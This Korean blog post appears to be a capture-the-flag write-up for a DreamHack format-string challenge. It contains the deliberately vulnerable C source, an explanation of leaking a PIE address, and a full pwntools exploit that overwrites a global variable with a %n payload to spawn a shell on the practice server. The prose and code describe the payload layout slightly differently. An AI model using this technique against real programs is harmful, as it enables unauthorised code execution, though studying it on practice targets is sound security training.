본문 바로가기

DreamHack

[DreamHack] Format String Bug

https://dreamhack.io/wargame/challenges/356/

 

Format String Bug

Description Exploit Tech: Format String Bug에서 실습하는 문제입니다.

dreamhack.io

난이도: Level 1 

// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

위 코드를 보면, printf(buf); 코드로 인해 Format String Bug(FSB)가 발생하는 것을 알 수 있습니다. 

FSB 공격을 통해 전역 변수인 changeme 값을 1337 로 바꿔주면 쉘을 딸 수 있습니다. 

우선, Format String Bug Offset 을 구하기 위해 입력을 줍시다. 

 

실행화면을 보면, 6번째에 AAAAAAAA 값이 있는 것을 알 수 있습니다. 

printf() 함수를 실행시키면 인자가 레지스터에 저장되는데 이때 레지스터 값은 아래와 같이 구성됩니다. 

rdi 레지스터에 printf format이 들어가게 되고,. rsi, rdx, rcx, r8, r9, rsp, rsp + 0x8, rsp + 0x10 순서로 인자가 들어가게 됩니다.

 

출력을 보았을 때, rsp에 AAAAAAAA가 들어간 것을 확인할 수 있습니다. 

 

이제 changeme를 구해봅시다.

ubuntu@ubuntu-virtual-machine:~/Desktop/Wargame/DreamHack/System/FormatStringBug$ checksec fsb_overwrite
[*] '/home/ubuntu/Desktop/Wargame/DreamHack/System/FormatStringBug/fsb_overwrite'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

PIE 메모리 보호 기법이 켜져있으므로 PIE_BASE 값을 구한 후에 offset 을 더하면 changeme 변수 주소를 알 수 있습니다. remote 환경에서 %8$p 입력으로 주면 0x5582e5e6b940 주소를 볼 수 있습니다. 이는 BSS 영역임을 알 수 있기에 이를 활용하여 0x5582e5e6b940 주소에서 __libc_csu_init 주소를 빼면 PIE_BASE 값을 구할 수 있습니다. 

 

이와 같이 PIE_BASE 값을 구한 후 changeme offset 값을 더해주면 changeme 주소를 구할 수 있습니다.  

이후, changeme에 1337 값을 덮어줘야하므로 처음에 구했던 buf 시작 offset 값인 6에 "%1337c%[changeme 주소 위치]$n"를 써줍니다.

 

이때, 64bit이므로 6번째는 %1337c%8, 7번째는 $pAAAAAA, 8번째는 changeme 주소가 오게됩니다. 

7번째에 AAAAAA를 써주는 이유는 8번째에 changeme 주소가 오게 하기 위해 8 bytes씩 맞춰주기 위해서입니다.  

 

이를 페이로드로 작성하면 아래와 같이 작성할 수 있습니다. 

Exploit Code

from pwn import *

context.log_level = 'debug'
# p = process("./fsb_overwrite") 
p = remote("host3.dreamhack.games",10010)
e = ELF("./fsb_overwrite")

# Get the address of changeme variable
p.sendline(b"%8$p")
pie_base = int(p.recvline()[:-1], 16) - e.symbols["__libc_csu_init"]
changeme = pie_base + e.symbols["changeme"]

print(hex(pie_base))
print(hex(changeme))

# Exploit
payload = b'%1337c'
payload += b'%8$n' + b'A' * 6
payload += p64(changeme)

p.sendline(payload)
p.interactive()

'DreamHack' 카테고리의 다른 글

[DreamHack] amocafe  (3) 2023.08.08
[DreamHack] development-env  (0) 2023.08.07
[DreamHack] Return to Library  (0) 2023.06.19
[DreamHack] web-ssrf  (0) 2023.06.17
[DreamHack] login-1  (0) 2023.06.17